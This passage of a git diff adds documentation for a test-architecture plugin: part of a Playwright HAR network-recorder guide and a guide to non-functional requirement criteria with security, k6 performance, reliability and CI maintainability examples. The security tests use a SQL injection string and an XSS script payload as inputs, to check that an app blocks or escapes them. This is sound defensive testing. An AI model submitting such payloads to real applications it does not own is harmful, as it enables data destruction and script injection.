+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
+- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
+- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
+- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
+
+---
+
+### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
+
+**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
+
+**Implementation**:
+
+```javascript
+// tests/nfr/performance.k6.js
+import http from 'k6/http';
+import { check, sleep } from 'k6';
+import { Rate, Trend } from 'k6/metrics';
+
+// Custom metrics
+const errorRate = new Rate('errors');
+const apiDuration = new Trend('api_duration');
+
+// Performance thresholds (SLO/SLA)
+export const options = {
+  stages: [
+    { duration: '1m', target: 50 }, // Ramp up to 50 users
+    { duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
+    { duration: '1m', target: 100 }, // Spike to 100 users
+    { duration: '3m', target: 100 }, // Stay at 100 users
+    { duration: '1m', target: 0 }, // Ramp down
+  ],
+  thresholds: {
+    // SLO: 95% of requests must complete in <500ms
+    http_req_duration: ['p(95)<500'],
+    // SLO: Error rate must be <1%
+    errors: ['rate<0.01'],
+    // SLA: API endpoints must respond in <1s (99th percentile)
+    api_duration: ['p(99)<1000'],
+  },
+};
+
+export default function () {
+  // Test 1: Homepage load performance
+  const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
+  check(homepageResponse, {
+    'homepage status is 200': (r) => r.status === 200,
+    'homepage loads in <2s': (r) => r.timings.duration < 2000,
+  });
+  errorRate.add(homepageResponse.status !== 200);
+
+  // Test 2: API endpoint performance
+  const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
+    headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
+  });
+  check(apiResponse, {
+    'API status is 200': (r) => r.status === 200,
+    'API responds in <500ms': (r) => r.timings.duration < 500,
+  });
+  apiDuration.add(apiResponse.timings.duration);
+  errorRate.add(apiResponse.status !== 200);
+
+  // Test 3: Search endpoint under load
+  const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
+  check(searchResponse, {
+    'search status is 200': (r) => r.status === 200,
+    'search responds in <1s': (r) => r.timings.duration < 1000,
+    'search returns results': (r) => JSON.parse(r.body).results.length > 0,
+  });
+  errorRate.add(searchResponse.status !== 200);
+
+  sleep(1); // Realistic user think time
+}
+
+// Threshold validation (run after test)
+export function handleSummary(data) {
+  const p95Duration = data.metrics.http_req_duration.values['p(95)'];
+  const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
+  const errorRateValue = data.metrics.errors.values.rate;
+
+  console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
+  console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
+  console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
+
+  return {
+    'summary.json': JSON.stringify(data),
+    stdout: `
+Performance NFR Results:
+- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
+- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
+- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
+    `,
+  };
+}
+```
+
+**Run k6 tests:**
+
+```bash
+# Local smoke test (10 VUs, 30s)
+k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
+
+# Full load test (stages defined in script)
+k6 run tests/nfr/performance.k6.js
+
+# CI integration with thresholds
+k6 run --out json=performance-results.json tests/nfr/performance.k6.js
+```
+
+**Key Points**:
+
+- **k6 is the right tool** for load testing (NOT Playwright)
+- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
+- Realistic load simulation (ramp up, sustained load, spike testing)
+- Comprehensive metrics (p50, p95, p99, error rate, throughput)
+- CI-friendly (JSON output, exit codes based on thresholds)
+
+**Performance NFR Criteria**:
+
+- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
+- ⚠️ CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
+- ❌ FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
+
+**Performance Testing Levels (from Test Architect course):**
+
+- **Load testing**: System behavior under expected load
+- **Stress testing**: System behavior under extreme load (breaking point)
+- **Spike testing**: Sudden load increases (traffic spikes)
+- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
+- **Benchmarking**: Baseline measurements for comparison
+
+**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
+
+---
+
+### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
+
+**Context**: Automated reliability tests validating graceful degradation and recovery paths
+
+**Implementation**:
+
+```typescript
+// tests/nfr/reliability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Reliability NFR: Error Handling & Recovery', () => {
+  test('app remains functional when API returns 500 error', async ({ page, context }) => {
+    // Mock API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // User sees error message (not blank page or crash)
+    await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
+    await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+
+    // App navigation still works (graceful degradation)
+    await page.getByRole('link', { name: 'Home' }).click();
+    await expect(page).toHaveURL('/');
+  });
+
+  test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
+    let attemptCount = 0;
+
+    await context.route('**/api/checkout', (route) => {
+      attemptCount++;
+
+      // Fail first 2 attempts, succeed on 3rd
+      if (attemptCount < 3) {
+        route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
+      }
+    });
+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
